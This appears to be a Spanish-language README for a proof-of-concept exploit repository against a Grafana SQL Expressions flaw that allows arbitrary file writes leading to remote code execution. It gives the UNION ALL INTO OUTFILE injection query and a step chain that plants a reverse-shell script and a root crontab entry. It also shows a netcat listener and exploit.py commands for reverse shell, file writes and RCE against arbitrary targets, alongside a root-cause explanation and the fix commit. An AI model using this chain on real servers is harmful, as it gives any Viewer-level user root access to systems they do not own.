
Grafana SQL Expressions Escritura Arbitraria de Archivos a RCE
CVSS 9.1 Crítico | Escritura Arbitraria de Archivos | Ejecución Remota de Código
https://github.com/user-attachments/assets/c84a4b63-7928-4dba-a069-3bafa036ce56
La función de Expresiones SQL de Grafana (conmutador sqlExpressions) utiliza un motor SQL en proceso (dolthub/go-mysql-server) con una lista blanca de AST defectuosa. El nodo SetOp (UNION ALL) pasa la validación y su walkSubtree() no recorre el hijo Into, lo que permite que INTO OUTFILE escriba archivos arbitrarios en el sistema de archivos del servidor como el usuario del proceso de Grafana.
Cualquier usuario autenticado (rol de Visor o superior) puede encadenar esto hasta lograr RCE completa mediante una reverse shell basada en cron.
| Rango | Afectadas | Corregidas |
|---|---|---|
| 11.6.x | 11.6.0 – 11.6.13 | 11.6.14 |
| 12.0.x – 12.1.x | 12.0.0 – 12.1.9 | 12.1.10 |
| 12.2.x | 12.2.0 – 12.2.7 | 12.2.8 |
| 12.3.x | 12.3.0 – 12.3.5 | 12.3.6 |
| 12.4.x | 12.4.0 – 12.4.1 | 12.4.2 |
Requiere que el conmutador de función sqlExpressions esté habilitado.
Dos fallos que se combinan en pkg/expr/sql/:
parser_allow.go: allowedNode() utiliza un retorno nombrado b = true. El caso *sqlparser.SetOp devuelve true (permitido), y SetOp.walkSubtree() NO recorre el nodo hijo Into. Esto significa que UNION ALL ... INTO OUTFILE evita la lista blanca por completo.
db.go: El contexto del motor SQL se crea sin WithDisableFileWrites(true), por lo que INTO OUTFILE escribe en el disco.
(SELECT 'line1') UNION ALL (SELECT 'line2') INTO OUTFILE '/target/path'
Un único (SELECT ...) INTO OUTFILE produce un nodo ParenSelect que SÍ está bloqueado. Dos o más partes SELECT unidas con UNION ALL producen un nodo SetOp que evita la comprobación.
1. Autenticarse (el rol de Visor es suficiente)
2. POST /api/ds/query con el datasource __expr__, tipo "sql"
3. UNION ALL INTO OUTFILE escribe el script de reverse shell en /tmp/
4. Una segunda escritura coloca la entrada de cron en /etc/crontabs/root
5. Cron se ejecuta en menos de 60 segundos -> reverse shell como root
cd lab/
docker compose up -d
# Esperar a que Grafana esté saludable (~15s)
Grafana se ejecuta en http://localhost:3333 con las credenciales admin:admin.
Terminal 1 — Listener:
nc -lvnp 4444
Terminal 2 — Exploit:
cd poc/
python3 exploit.py -t http://localhost:3333 --revshell --lhost 172.28.0.1 --lport 4444
La reverse shell llega en menos de 60 segundos.
# Comprobar si el objetivo es vulnerable (sin escrituras)
python3 exploit.py -t http://TARGET:3000 --check
# Escribir un archivo arbitrario
python3 exploit.py -t http://TARGET:3000 --write-path /tmp/test.txt --write-content "hello"
# Escribir un archivo local en el objetivo
python3 exploit.py -t http://TARGET:3000 --write-path /tmp/test.txt --write-file ./local.txt
# RCE mediante aprovisionamiento de datasource (sin necesidad de cron)
python3 exploit.py -t http://TARGET:3000 --rce
docker exec grafana-cve-2026-27876 rm -f /etc/crontabs/root /tmp/.grafana_rce_*.sh
Para volver a ejecutar el exploit después de una ejecución anterior, primero hay que limpiar — INTO OUTFILE no puede sobrescribir archivos existentes.
Commit 0e5d9e01ef31f072fd41626cd744699374e70127 (PR #121514):
parser_allow.go: case *sqlparser.SetOp: return v.GetInto() == nilparser_allow.go: case *sqlparser.Into: return v == nildb.go: mysql.WithDisableFileWrites(true).
├── README.md
├── analysis.md # Análisis completo de la causa raíz
├── lab/
│ ├── docker-compose.yml # Laboratorio Grafana 12.4.0 (confirmado)
│ ├── Dockerfile # Imagen personalizada con soporte de cron
│ ├── entrypoint.sh # Inicia crond + Grafana
│ └── setup.sh # Script de configuración automática
└── poc/
├── exploit.py # PoC completo con RCE
└── cvss-justification.md
Solo para investigación de seguridad autorizada y pruebas controladas en laboratorio. No lo utilices contra sistemas sin permiso explícito.